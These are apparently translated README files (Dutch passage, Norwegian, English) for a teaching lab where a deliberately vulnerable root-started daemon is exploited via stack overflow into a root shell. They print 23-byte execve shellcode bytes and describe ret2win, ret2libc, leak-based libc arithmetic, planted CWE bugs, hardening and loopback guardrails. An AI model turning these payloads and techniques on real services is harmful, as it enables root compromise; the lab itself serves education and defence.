Welke client er ook verbindt, foowosd begroet hem met:
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (banner + leaks)
BUF=0x7ffd… (het bufferadres)
```
`ids=euid/ruid` is het *"ben ik root?"*-kanaal. foowosc print een luide
waarschuwing wanneer euid niet 0 is (dus je startte de daemon als gewone
gebruiker): de payload landt nog steeds, maar de shell wordt een
gebruiker-shell, en het exploit "kapot" noemen zou fout zijn — hij escaleert
alleen niet.
> Spellingsnoot: `ids=`, niet `euid=`/`ruid=`. De test-harness bewijst een
> levende `id` door de letterlijke vorm `uid=NNN(` te matchen, dus het banner
> mag nooit een deelstring bevatten die zelf aan de controle voldoet. (In het
> SUID-lab produceerde precies die val een spectaculaire fout-positief.)
---
## De exploit-technieken (`foowosc -t …`)
Alle vier de exploit-paden hieronder werken tegen foowosd. Wanneer de daemon
root is, geeft **alles dat iets spawnt root** — in tegenstelling tot het
SUID-lab, waar ret2win/ret2libc stilletjes door de wacht van bash naar uid 1000
werden gedegradeerd. Hier is er geen mismatch om te bewaken.
| `-t` | wat er gebeurt | wanneer de daemon root is |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | 23-byte `execve("/bin/sh", NULL, NULL)` draait op de stack. | **root-shell** (standaard) |
| `ret2win` | sprong naar `win()` → `execl("/bin/sh")` | **root-shell** |
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-shell** |
| `demo` | alleen rommel-overloop — verwacht een SIGSEGV in de daemonlog | crash, volgens ontwerp |
| `leak` | print alleen leaks, stuurt geen payload | n.v.t. |
```
./foowosc -t shellcode # interactief; standaardtarget 127.0.0.1:2344
./foowosc -t shellcode -n # sturen en rapporteren, geen interactieve sessie
```
Een succesvolle interactieve sessie schakelt je terminal door naar de shell *op
het slachtoffer* — er is precies één shell in het beeld, en dat is `/bin/sh`
die als root binnenin foowosd draait. Typ `id` om `uid=0(root)` te zien.
### Waarom er hier geen `ret2win-root`-techniek is
foosc had er één — die sprong naar een `win_root()` die `setreuid(0,0)` aanriep
vóór exec, omdat een setuid-proces draaide met een reële uid die nog 1000 zei.
Een root-*gestart* proces heeft de reële uid al 0; er valt niets op te ruimen,
dus de extra functie en techniek zouden niets leren. Verwijderd.
---
## Wat foowosc doet, stap voor stap
1. **Statische analyse** — `objdump -d` van `./foowosd`. Vindt
`vulnerable_handler`, `win()`, de `lea -0x50(%rbp)` die `buf` adresseert,
en de eerste kale `ret`. Uit de verplaatsing berekent het
`rip_off = 80 + 8 = 88`. Niets is hardcoded; het overleeft een herbouw.
2. **Zelf-introspectie** — leest zijn eigen `/proc/self/maps` en `dlsym()`t
`system`/`read` om de libc-*offsets* te leren. De libc-base van het
doelwit is `leaked_read − off_read`, daarna `system = base + off_system`,
enz. Die delta-rekenkunde is de reden dat exploits libc-versies overleven.
3. **Verbind** — leest het banner/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
4. **Bouw de payload** — voor `shellcode`: 23 bytes machinecode, padding tot
`rip_off`, daarna de opgeslagen RIP = `buf` (zodat de `ret` op de code
springt). Voor `ret2win`/`ret2libc`: adressen berekend uit de analyse —
geen stackuitvoering nodig.
5. **De uitlijnfix** — een gekaapte kale `ret` geeft de callee
`rsp ≡ 8 (mod 16)`, en glibc's SSE2-code faalt met `movaps` op een
niet-uitgelijnde stack (de crash-reporter logt `si_addr=(nil)` — de hint).
foowosc plaatst één extra `ret`-gadget vóór het echte doelwit en herstelt de
invariant. Een zijdenhandschoentechniek in een shellcode-lab, maar het is
het verschil tussen een payload die "soms werkt" en een die altijd werkt.
6. **Stuur, daarna schakel door** — het doelproces *is* de shell; dit proces
splist alleen bytes. Geen lokale shell, geen andere lezer — de
single-read-cursor-bug (één opgegeten byte per chunk) is gedocumenteerd in
`become_shell()`.
---
## De bewuste bugs van de daemon (allemaal in `foowosd.c`, allemaal echte CWE-klassen)
| # | bug | CWE | notitie |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` in een 64-byte stack-buffer | CWE-120 | de overloop: 448 bytes voorbij `buf`, opgeslagen RIP op +88 |
| 2 | alleen `snprintf(line, …, "%.*s", …)`; maar aanvaller-`%` in het echo-pad | CWE-134 | het lek is hier de echte payload; een `%n` in een *root*-proces zou write-what-where als root zijn |
| 3 | kinderen behouden root terwijl ze onbetrouwbare input afhandelen | CWE-271 | de correcte `drop_privs()` (setgroups→setgid→setuid, in die volgorde, met verificatie) staat in het bestand, gecommentarieerd, *bewust nooit aangeroepen* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` onthuld aan elke client | CWE-200 | zonder deze leaks konden de shellcode- en ret2libc-technieken geen adressen berekenen (ASLR zou ze verslaan) |
De handler heeft precies dezelfde `buf[64]`/`read(512)`-vorm als de twee andere
labs, dus de gedeelde objdump-gebaseerde herkenningspipeline werkt ongewijzigd.
---
## Zo inspecteer je de daemon (leerpad)
```
make status # draait hij? als welke uid? bestandstoestand wordt getoond
make run-root # of run / run-root-ns
./foowosc -t leak # zie het banner en leaks, stuur niets
./foowosc -t demo # rommel-overloop -> SIGSEGV, gelogd met RIP/rsp
./foowosc -t shellcode # de interactieve root-shell
make test-root # volledige matrix, alle technieken, --must-root
```
Crash-reporter: Bij SIGSEGV logt de daemon het foutadres, RIP en RSP. Een `ret`
in een niet-canonieke `0x4141…` faalt bij de `ret` zelf (RIP als `0x4028xx`,
`si_addr=(nil)`) — goed om te weten vóór je een logregel als NULL-dereferentie
verkeerd leest.
---
## Waarom de shellcode 23 bytes is, niet 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
Het SUID-lab heeft `setreuid(0,0)` vóór dit nodig. Dit lab niet, om de reden
die overal herhaald wordt: **ruid is al 0**, omdat root het proces startte.
`make verify` bewijst dat de bytes in `foowosc.c` byte-voor-byte zijn wat
`shellcode.S` assembleren tot.
---
## Tegenmaatregelen — wat `make hardened` verandert
Geharde build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
| techniek | kwetsbare `foowosd` | geharde `foowosd_hardened` |
|-----------|----------------------|------------------------------|
| `shellcode` | root-shell (uitvoerbare stack) | SIGSEGV bij de canary-controle / NX |
| `ret2win` / `ret2libc` | root-shell | canary aborted de `ret` — maar merk: een *PIE*-build maakt deze adressen ook willekeurig |
| `demo` | SIGSEGV, gelogd | SIGSEGV, gelogd |
`make test-hardened` demonstreert het live. De belangrijke observatie is niet
alleen dat de tegenmaatregelen de technieken doodden — het is dat ze de daemon
**niet** "niet-root" maakten. Een geharde build die nog steeds als root
*gestart* wordt, is nog steeds een root-daemon; de tegenmaatregel verhoogt
alleen de lat voor de aanvaller. Minste privilege (`drop_privs()`) en
geheugenveiligheid zijn twee verschillende bugs, en een daemon die geen root
nodig heeft, zou het niet moeten hebben.
---
## Veiligheidsleuningen (zelfde beleid als het SUID-lab)
- **Alleen loopback.** foowosd weigert iets anders dan `127.0.0.1` /
`localhost` / `::1` te binden, tenzij je `-L` geeft. Een root-daemon op een
echte interface is een *externe* root-dienst. `-L` bestaat alleen om de
wacht te tonen; gebruik het niet op iets dat ertoe doet.
- **De toestand wordt luid gelogd.** Bij de start print hij `ruid/euid` en of
dit een root-proces is, zodat je altijd weet welk exploit-resultaat je moet
verwachten.
- **Oordelen komen uit exit-status** in `make test*` (de retourcode van de
pty-harness), nooit uit het greppen van zijn stdout — grepbare output liegt.
- **De pty moet cooked + ECHO off draaien**, anders echoët de harness zijn
eigen commandoregel en vervalst de markering. De harness zet ECHO uit en
houdt ECHONL aan.
- **Opruimritueel:** `make stop` na elke sessie. Als de daemon root-bezeten
is, zegt `stop` je `sudo pkill -x foowosd` te draaien.
- Draai dit nooit op een host waar je om geeft. Het bestaat om `uid=0`-shells
over de loopback-interface uit te delen.
---
## Oefeningen
1. Draai `make run` (user-daemon), daarna `./foowosc -t shellcode`. Waarom is
de shell niet root? (Check `ids=` in het banner — foowosc zegt het je vóór
je überhaupt verbindt.)
2. `make stop && sudo make run-root && make test-root`. Verklaar aan de hand
van de bannerregel waarom alle vier de technieken nu `uid=0(root)` geven.
3. Vind in `foowosd.c` `drop_privs()` en lees *waarom de volgorde* van
`setgroups → setgid → setuid` ertoe doet. Bepaal waar in `main()` hij thuis
zou horen, en wat het aanvalsoppervlak van het lab wordt wanneer hij
daadwerkelijk wordt aangeroepen.
4. Bereken `rip_off` met de hand uit `objdump -d foowosd`: vind de
`lea -0xNN(%rbp)` van `buf` binnenin `vulnerable_handler`, daarna `NN + 8`.
foowosc doet precies dat; controleer zijn rekensom tegen de jouwe.
5. `make hardened && make test-hardened`. Welke techniek valt voor de canary,
en welke voor NX? Waarom verandert harden niet wat `make status` over *het
proces* rapporteert?
6. Vergelijk de shellcodes van de twee labs: 23 bytes hier, 32 voor foosd. Wat
doen de extra 9 bytes, en waarom zijn ze alleen in het SUID-geval nodig?
7. Lees de commentaar van `become_shell()` over de enkele lees-cursor. Maak de
faaltoestand mentaal na: twee lezers op één socket betekent dat de
login-shell één byte per chunk eet — "uid=1000…" arriveert als "id=1000…".
Waarom kan een relay-proces deze bug nooit hebben?
---
## Bestanden
```
foowosd.c de kwetsbare root-daemon (elke regel gecommentarieerd)
foowosc.c het exploit (elke regel gecommentarieerd)
shellcode.S referentie-assembly voor de 23-byte-payload
tests/pty_wosuid_test.c de pty-harness (markering + strikte id-vorm-controle)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Zuster-labs: `../food.c`/`../fooc.c` (user-level-baseline, poort 2342) en
`../suid/` (SUID-root-daemon `foosd`/`foosc`, poort 2343). De poorten zijn
bewust verschillend — je kunt alle drie tegelijk draaien en hun `ids=`-regels
in het banner kruislings controleren.

309
wosuid/README.NO.md Normal file
View file

@ -0,0 +1,309 @@
# `wosuid`-laboratoriet — root-RCE **uten** setuid-bit
```
foowosd en bevisst sårbar daemon som er root fordi den ble *STARTET* som
root (port 2344, bare loopback som standard)
foowosc exploitet: forvandler et stack-overløp til en **root**-shell ved å
utføre shellcode — de samme 23 bytene som knekte user-level-
`food`-daemonen i hovedlaboratoriet
```
Det er det tredje laboratoriet i serien. Samme exploit-verktøykjede, samme
stil, én fundamental forskjell:
| Laboratorium | hvordan målprosessen blir root | `uid=0(root)`-shell? |
|----------|------------------------------------------------|----------------------|
| food/fooc| aldri — det er en vanlig user-daemon | nei |
| foosd/foosc | SUID-biten (`chmod u+s`) — euid 0, ruid 1000 | ja (krever `setreuid` i shellcoden, fordi bash nullstiller euid→ruid) |
| **foowosd/foowosc** | **ingen — root *starter* daemonen** (sudo / systemd `User=root`) | **ja (vanlig `execve`-shellcode)** |
Setuid-biten er et *transportmiddel* for privilegier — ikke privilegiene selv.
En daemon startet av root har reell, effektiv og lagret uid alle lik 0. For
kjernen er det root, punktum; den kan og vil ikke vite om prosessen kom dit via
`+s` på en fil eller via `sudo ./foowosd`. Overløpet i en root-startet daemon er
altså et root-exploit — *«jeg har ingen SUID-binærfiler» er ikke det samme som
«jeg er ikke utnyttbar».*
Det er hele leksjonen i dette laboratoriet. Alt nedenfor er maskineriet.
---
## Rask start (det brukeren ba om)
```
cd wosuid
make # bygger daemonen, exploitet og test-harnessen
```
### Det ekte — kjør daemonen som **root**
```
sudo make run-root # starter foowosd som uid 0 (prosess, ikke filtillstand)
make test-root # hver teknikk skal nå gi uid=0(root)
```
### Ikke sudo? Den identiske kjernesti via en user-namespace
```
make run-root-ns # uid 0 i en user-namespace — ingen passord nødvendig
make test-root # samme dommer; brukes av CI og alle uten sudo
```
### Baseline — daemon som din vanlige bruker (intet root noen steder)
```
make run # foowosd kjører med dine uid-er
make test # exploits lander shells, men `root` forventes MISSING
```
### Oppryddingsritual (alltid: dette er et root-shell-laboratorium)
```
make stop
```
`foowosd` er *ikke* setuid, og intet i dette biblioteket gjør noen gang
`chmod +s` — det er poenget. Den farlige tilstanden er **prosessen**, ikke
filen.
---
## Når du blir bedt om å sette SUID-biten
Det blir du **ikke**. Dette laboratoriet har bevisst ingen SUID-bit:
- `foowosd` bygges, eies og har vanlige tillstander som ethvert annet program.
- Det blir root, som ekte daemoner gjør — ved å bli *startet* av root.
- `make run-root` bruker `sudo` til nøyaktig det, og `make run-root-ns` skaffer
en ekte uid-0-prosess helt uten noe av det.
Suid-biten tilhører *søster*-laboratoriet (`foosd`). Kontrasten mellom de to
er pensum:
1. SUID-laboratoriet: biten gir **euid 0, men ruid 1000** →
`execve("/bin/sh")` nedgraderes av bashs vakt (`euid != ruid` → reset) →
shellcoden må først kalle `setreuid(0,0)` (32-byte-payload).
2. Dette laboratoriet: root **starter** prosessen → **ruid == euid == 0** →
vakten har ingenting å nullstille → den vanlige 23-byte `execve`-shellcoden
beholder root.
Samme overløp. Samme teknikk. Forskjellig *opprinnelse* av privilegier,
annerledes payload-form. Det er leksjonen i miniatyr.
---
## Protokollen
Uansett hvilken slags klient som kobler til, hilser foowosd på den med:
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (banneret + leaks)
BUF=0x7ffd… (bufferadressen)
```
`ids=euid/ruid` er *«er jeg root?»*-sidekanalen. foowosc skriver ut en høy
advarsel når euid ikke er 0 (dvs. du startet daemonen som en vanlig bruker):
payloaden lander fortsatt, men shellen blir en bruker-shell, og å kalle
exploitet «i stykker» ville vært feil — det eskalerer bare ikke.
> Staveform-merknad: `ids=`, ikke `euid=`/`ruid=`. Test-harnessen beviser en
> levende `id` ved å matche den bokstavelige formen `uid=NNN(`, så banneret må
> aldri inneholde en delstreng som selv oppfyller sjekken. (I SUID-laboratoriet
> produserte nøyaktig den fellen et spektakulært falskt positivt.)
---
## Exploit-teknikkene (`foowosc -t …`)
Alle fire exploit-stiene nedenfor virker mot foowosd. Når daemonen er root,
gir **alle som spawner noe, root** — i motsetning til SUID-laboratoriet der
ret2win/ret2libc stille og rolig ble nedgradert til uid 1000 av bashs vakt. Her
er det intet mismatch å vokte mot.
| `-t` | hva som skjer | når daemonen er root |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | 23-byte-`execve("/bin/sh", NULL, NULL)` kjører på stacken. | **root-shell** (standard) |
| `ret2win` | hopp til `win()` → `execl("/bin/sh")` | **root-shell** |
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-shell** |
| `demo` | bare søppel-overløp — forvent et SIGSEGV i daemonloggen | krasj, etter design |
| `leak` | skriver bare ut leaks, sender ingen payload | n/a |
```
./foowosc -t shellcode # interaktiv; standard-target 127.0.0.1:2344
./foowosc -t shellcode -n # send og rapporter, ingen interaktiv økt
```
En vellykket interaktiv økt videresender terminalen din til shellen *på
offeret* — det er nøyaktig én shell i bildet, og det er `/bin/sh` som kjører
som root inne i foowosd. Skriv `id` for å se `uid=0(root)`.
### Hvorfor det ikke finnes noen `ret2win-root`-teknikk her
foosc hadde én — den hoppet til et `win_root()` som kalte `setreuid(0,0)` før
exec, fordi en setuid-prosess kjørte med en reell uid som fortsatt sa 1000. En
root-*startet* prosess har den reelle uid-en allerede 0; det er ingenting å
rydde, så den ekstra funksjonen og teknikken ville ikke lært noe. Fjernet.
---
## Hva foowosc gjør, steg for steg
1. **Statisk analyse** — `objdump -d` av `./foowosd`. Finner
`vulnerable_handler`, `win()`, det `lea -0x50(%rbp)` som adresserer `buf`,
og det første nakne `ret`. Ut fra forskyvningen beregner det
`rip_off = 80 + 8 = 88`. Ingenting er hardkodet; det overlever en ombygging.
2. **Selv-introspeksjon** — leser sitt eget `/proc/self/maps` og `dlsym()`er
`system`/`read` for å lære libc-*offsets*. Targetets libc-base er
`leaked_read − off_read`, deretter `system = base + off_system`, osv. Denne
delta-aritmetikken er grunnen til at exploits overlever libc-versjoner.
3. **Koble til** — leser banneret/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
4. **Bygg payloaden** — for `shellcode`: 23 bytes maskinkode, padding til
`rip_off`, deretter den lagrede RIP = `buf` (så `ret` hopper inn på koden).
For `ret2win`/`ret2libc`: adresser beregnet ut fra analysen — ingen
utførelse av stacken nødvendig.
5. **Justeringsfixen** — et kapret nakent `ret` gir callee-en
`rsp ≡ 8 (mod 16)`, og glibcs SSE2-kode `movaps`-feiler på en ikke-justert
stack (crash-reporteren logger `si_addr=(nil)` — fingerpeket). foowosc
setter inn ett ekstra `ret`-gadget før det ekte målet og gjenoppretter
invarianten. Silkehansketeknikk i et shellcode-laboratorium, men det er
forskjellen mellom en payload som «noen ganger virker» og en som alltid
virker.
6. **Send, deretter videresend** — offerprosessen *er* shellen; denne prosessen
splisser bare bytes. Ingen lokal shell, ingen annen leser —
single-read-cursor-feilen (ett spist byte per chunk) er dokumentert i
`become_shell()`.
---
## Daemonens bevisste feil (alle i `foowosd.c`, alle ekte CWE-klasser)
| # | feil | CWE | notat |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` inn i et 64-byte stack-buffer | CWE-120 | overløpet: 448 bytes forbi `buf`, lagret RIP ved +88 |
| 2 | bare `snprintf(line, …, "%.*s", …)`; men angriper-`%` i ekko-stien | CWE-134 | leaket er her den reelle payloaden; et `%n` i en *root*-prosess ville vært write-what-where som root |
| 3 | barn beholder root mens de håndterer upålitelige inputs | CWE-271 | det korrekte `drop_privs()` (setgroups→setgid→setuid, i den rekkefølgen, med verifikasjon) står i filen, kommentert, *bevisst aldri kalt* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` avslørt til enhver klient | CWE-200 | uten disse leaks kunne ikke shellcode- og ret2libc-teknikkene beregne adresser (ASLR ville beseiret dem) |
Handleren har nøyaktig samme `buf[64]`/`read(512)`-form som de to andre
laboratoriene, så den felles objdump-baserte oppdagelsespipelinen virker
uendret.
---
## Slik inspiserer du daemonen (læringssti)
```
make status # kjører den? som hvilken uid? filtillstand vises
make run-root # eller run / run-root-ns
./foowosc -t leak # se banneret og leaks, send ingenting
./foowosc -t demo # søppel-overløp -> SIGSEGV, logget med RIP/rsp
./foowosc -t shellcode # den interaktive root-shellen
make test-root # full matrise, alle teknikkene, --must-root
```
Crash-reporter: Ved SIGSEGV logger daemonen feiladressen, RIP og RSP. Et `ret`
inn i en ikke-kanonisk `0x4141…` feiler ved `ret`-et selv (RIP som `0x4028xx`,
`si_addr=(nil)`) — verdt å vite før du feilleser en logglinje som en
NULL-dereferanse.
---
## Hvorfor shellcoden er 23 bytes, ikke 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
SUID-laboratoriet trenger `setreuid(0,0)` foran dette. Dette laboratoriet ikke,
av den grunnen som gjentas overalt: **ruid er allerede 0**, fordi root startet
prosessen. `make verify` beviser at bytene i `foowosc.c` er byte-for-byte det
`shellcode.S` assemblerer til.
---
## Mottiltak — hva `make hardened` endrer
Hardet build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
| teknikk | sårbar `foowosd` | hardet `foowosd_hardened` |
|-----------|----------------------|------------------------------|
| `shellcode` | root-shell (kjørbar stack) | SIGSEGV ved canary-sjekken / NX |
| `ret2win` / `ret2libc` | root-shell | canary aborter `ret` — men merk: en *PIE*-build gjør også disse adressene tilfeldige |
| `demo` | SIGSEGV, logget | SIGSEGV, logget |
`make test-hardened` demonstrerer det live. Den viktige observasjonen er ikke
bare at mottiltakene drepte teknikkene — det er at de **ikke** gjorde daemonen
til «ikke-root». En hardet build som fortsatt *startes* som root, er fortsatt en
root-daemon; mottiltaket hever bare lista for angriperen. Minste privilegium
(`drop_privs()`) og minnesikkerhet er to forskjellige feil, og en daemon som
ikke trenger root, bør ikke ha det.
---
## Sikkerhetsgelendere (samme politikk som SUID-laboratoriet)
- **Bare loopback.** foowosd nekter å binde noe annet enn `127.0.0.1` /
`localhost` / `::1`, med mindre du gir `-L`. En root-daemon på et ekte
grensesnitt er en *fjern* root-tjeneste. `-L` finnes bare for å vise vakten;
ikke bruk den på noe som betyr noe.
- **Tilstanden logges høyt.** Ved start skriver den ut `ruid/euid` og om dette
er en root-prosess, så du alltid vet hvilket exploit-resultat du skal vente.
- **Dommer kommer fra exit-status** i `make test*` (pty-harnessens
returkode), aldri fra å greppe stdout-en dens — grepbar utdata lyver.
- **pty-en må kjøre cooked + ECHO off**, ellers ekkoer harnessen sin egen
kommandolinje og forfalsker markøren. Harnessen slår av ECHO og beholder
ECHONL på.
- **Oppryddingsritual:** `make stop` etter hver økt. Hvis daemonen er
root-eid, sier `stop` deg å kjøre `sudo pkill -x foowosd`.
- Kjør aldri dette på en vert du bryr deg om. Det finnes for å dele ut
`uid=0`-shells over loopback-grensesnittet.
---
## Øvelser
1. Kjør `make run` (user-daemon), deretter `./foowosc -t shellcode`. Hvorfor er
shellen ikke root? (Sjekk `ids=` i banneret — foowosc sier deg det før du i
det hele tatt kobler til.)
2. `make stop && sudo make run-root && make test-root`. Forklar ut fra
bannerlinjen hvorfor alle fire teknikkene nå gir `uid=0(root)`.
3. Finn i `foowosd.c` `drop_privs()` og les *hvorfor rekkefølgen* av
`setgroups → setgid → setuid` betyr noe. Bestem hvor i `main()` den ville
hørt hjemme, og hva laboratoriets angrepsflate blir når den faktisk kalles.
4. Beregn `rip_off` for hånd ut fra `objdump -d foowosd`: finn `buf`s
`lea -0xNN(%rbp)` inne i `vulnerable_handler`, deretter `NN + 8`. foowosc
gjør nøyaktig det; sjekk regnestykket dens mot ditt eget.
5. `make hardened && make test-hardened`. Hvilken teknikk faller for canaryen,
og hvilken for NX? Hvorfor endrer ikke hærdning hva `make status` rapporterer
om *prosessen*?
6. Sammenlign de to laboratorienes shellcodes: 23 bytes her, 32 for foosd. Hva
gjør de ekstra 9 bytene, og hvorfor trengs de bare i SUID-tilfellet?
7. Les `become_shell()`s kommentar om den enkelte lese-cursoren. Gjenskap
feiltilstanden mentalt: to lesere på én socket betyr at login-shellen spiser
ett byte per chunk — «uid=1000…» ankommer som «id=1000…». Hvorfor kan en
relay-prosess aldri ha denne feilen?
---
## Filer
```
foowosd.c den sårbare root-daemonen (hver linje kommentert)
foowosc.c exploitet (hver linje kommentert)
shellcode.S referanse-assembly for 23-byte-payloaden
tests/pty_wosuid_test.c pty-harnessen (markør + streng id-form-sjekk)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Søster-laboratorier: `../food.c`/`../fooc.c` (user-level-baseline, port 2342)
og `../suid/` (SUID-root-daemon `foosd`/`foosc`, port 2343). Portene er bevisst
forskjellige — du kan kjøre alle tre samtidig og kryssjekke `ids=`-linjene
deres i banneret.

305
wosuid/README.md Normal file
View file

@ -0,0 +1,305 @@
# The `wosuid` lab — root RCE with **no** setuid bit
```
foowosd an intentionally vulnerable daemon that is root because it was
*STARTED* as root (port 2344, loopback-only by default)
foowosc the exploit: turns a stack overflow into a **root** shell by
executing shellcode — same 23 bytes that pwned the user-level
`food` daemon in the parent lab
```
This is the third lab in the series. Same exploit toolchain, same style, one
fundamental difference:
| lab | how the target process becomes root | `uid=0(root)` shell? |
|----------|------------------------------------------------|----------------------|
| food/fooc| never — it is a plain user daemon | no |
| foosd/foosc | the SUID bit (`chmod u+s`) — euid 0, ruid 1000 | yes (needs `setreuid` in the shellcode, because bash resets euid→ruid) |
| **foowosd/foowosc** | **none — root *starts* the daemon** (sudo / systemd `User=root`) | **yes (plain `execve` shellcode)** |
The setuid bit is a *transfer vehicle* for privilege — not the privilege
itself. A daemon launched by root has real, effective and saved uid all equal
to 0. To the kernel that is root, period; it cannot and does not care whether
the process got there via `+s` on a file or via `sudo ./foowosd`. So the
overflow in a root-started daemon is a root exploit — *"I don't have SUID
binaries" is not the same as "I am not exploitable".*
That is the whole lesson of this lab. Everything below is the machinery.
---
## Quick start (what the user requested)
```
cd wosuid
make # build the daemon, the exploit, and the test harness
```
### The real thing — run the daemon as **root**
```
sudo make run-root # starts foowosd as uid 0 (process, not file mode)
make test-root # every technique must now yield uid=0(root)
```
### No sudo? The identical kernel path via a user namespace
```
make run-root-ns # uid 0 inside a user namespace — no password needed
make test-root # same verdicts; used by CI and anyone without sudo
```
### Baseline — daemon as your normal user (no root anywhere)
```
make run # foowosd runs with your uids
make test # exploits land shells, but `root` is expected MISSING
```
### Cleanup ritual (always: this is a root-shell lab)
```
make stop
```
`foowosd` is *not* setuid and nothing in this directory ever chmods `+s` —
that is the point. The dangerous state is the **process**, not the file.
---
## When you are told to set the SUID bit
You are **not** going to. This lab deliberately has no SUID bit:
- `foowosd` is built, owned and mode-regular like any other program.
- It becomes root the way real daemons do — by being *started* by root.
- `make run-root` uses `sudo` for exactly that, and `make run-root-ns` gets
a genuinely uid-0 process without any of it.
The suid bit belongs to the *sibling* lab (`foosd`). The contrast between the
two is the syllabus:
1. SUID lab: the bit gives **euid 0 but ruid 1000** → `execve("/bin/sh")` is
demoted by bash's guard (`euid != ruid` → reset) → shellcode must call
`setreuid(0,0)` first (32-byte payload).
2. This lab: root **starts** the process → **ruid == euid == 0** → the guard
has nothing to reset → the plain 23-byte `execve` shellcode keeps root.
Same overflow. Same technique. Different *origin* of privilege, different
payload shape. That is the lesson in miniature.
---
## The protocol
Whatever kind of client connects, foowosd greets it with:
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (the banner + leaks)
BUF=0x7ffd… (the buffer address)
```
`ids=euid/ruid` is the *"am I root?"* side-channel. foowosc prints a loud
warning when euid is not 0 (i.e. you started the daemon as a plain user): the
payload will still land, but the shell will be a user shell, and calling the
exploit "broken" would be wrong — it is merely not escalating.
> Spelling note: `ids=`, not `euid=`/`ruid=`. The test harness proves a live
> `id` ran by matching the literal `uid=NNN(` shape, so the banner must never
> contain a substring that itself satisfies the check. (In the SUID lab this
> exact trap produced a spectacular false positive.)
---
## The exploit techniques (`foowosc -t …`)
All four exploit paths below work against foowosd. When the daemon is root,
**all four that spawn anything yield root** — unlike the SUID lab, where
ret2win/ret2libc were quietly demoted to uid 1000 by bash's guard. Here there
is no mismatch to guard against.
| `-t` | what happens | when daemon is root |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | 23-byte `execve("/bin/sh", NULL, NULL)` runs on the stack. | **root shell** (default) |
| `ret2win` | jump to `win()` → `execl("/bin/sh")` | **root shell** |
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root shell** |
| `demo` | junk overflow only — expect a SIGSEGV in the daemon log | crash, by design |
| `leak` | just print the leaks, send no payload | n/a |
```
./foowosc -t shellcode # interactive; default target 127.0.0.1:2344
./foowosc -t shellcode -n # send and report, no interactive session
```
A successful interactive session relays your terminal to the shell *on the
victim* — there is exactly one shell in the picture, and it is `/bin/sh`
running as root inside foowosd. Type `id` to see `uid=0(root)`.
### Why there is no `ret2win-root` technique here
foosc had one — it jumped to a `win_root()` that called `setreuid(0,0)`
before exec, because a setuid process ran with a real uid that still said
1000. A root-*started* process has real uid 0 already; there is nothing to
clear, so the extra function and technique would be teaching nothing.
Removed.
---
## What foowosc does, step by step
1. **Static analysis** — `objdump -d` of `./foowosd`. Finds
`vulnerable_handler`, `win()`, the `lea -0x50(%rbp)` that addresses `buf`,
and the first bare `ret`. From the displacement it computes
`rip_off = 80 + 8 = 88`. Nothing is hardcoded; this survives a rebuild.
2. **Self-introspection** — reads its own `/proc/self/maps` and `dlsym()`s
`system`/`read` to learn libc *offsets*. The target's libc base is
`leaked_read − off_read`, then `system = base + off_system`, and so on.
This delta-arithmetic is why exploits stay alive across libc versions.
3. **Connect** — reads the banner/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
4. **Build the payload** — for `shellcode`: 23 bytes of machine code, padding
to `rip_off`, then the saved RIP = `buf` (so `ret` jumps onto the code).
For `ret2win`/`ret2libc`: addresses computed from analysis — no execution
of the stack needed.
5. **The alignment fix** — a hijacked bare `ret` hands the callee `rsp ≡ 8
(mod 16)`, and glibc's SSE2 code `movaps`-faults on a misaligned stack (the
crash reporter logs `si_addr=(nil)` — the tell). foowosc inserts one extra
`ret` gadget before the real target, restoring the invariant. Kid-gloves
engineering in a shellcode lab, but it is the difference between a payload
that "sometimes works" and one that always works.
6. **Send, then relay** — the victim process *is* the shell; this process only
splices bytes. No local shell, no second reader — the single-read-cursor
failure (one byte eaten off every chunk) is documented in `become_shell()`.
---
## The daemon's deliberate bugs (all in `foowosd.c`, all real CWE classes)
| # | bug | CWE | note |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` into a 64-byte stack buffer | CWE-120 | the overflow: 448 bytes past `buf`, saved RIP at +88 |
| 2 | `snprintf(line, …, "%.*s", …)` only; but attacker `%` in the echo path | CWE-134 | the leak is the real payload here; a `%n` in a *root* process would be write-what-where as root |
| 3 | children keep root while handling untrusted input | CWE-271 | the correct `drop_privs()` (setgroups→setgid→setuid, in that order, with a verify) sits in the file, commented, *deliberately uncalled* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` disclosed to every client | CWE-200 | without these leaks the shellcode and ret2libc techniques could not compute addresses (ASLR would defeat them) |
The handler is exactly the same `buf[64]`/`read(512)` shape as the other two
labs, so the shared objdump-based discovery pipeline works unchanged.
---
## How to inspect the daemon (learning path)
```
make status # is it running? as which uid? file mode shown
make run-root # or run / run-root-ns
./foowosc -t leak # see the banner and the leaks, send nothing
./foowosc -t demo # junk overflow -> SIGSEGV, logged with RIP/rsp
./foowosc -t shellcode # the interactive root shell
make test-root # full matrix, all techniques, --must-root
```
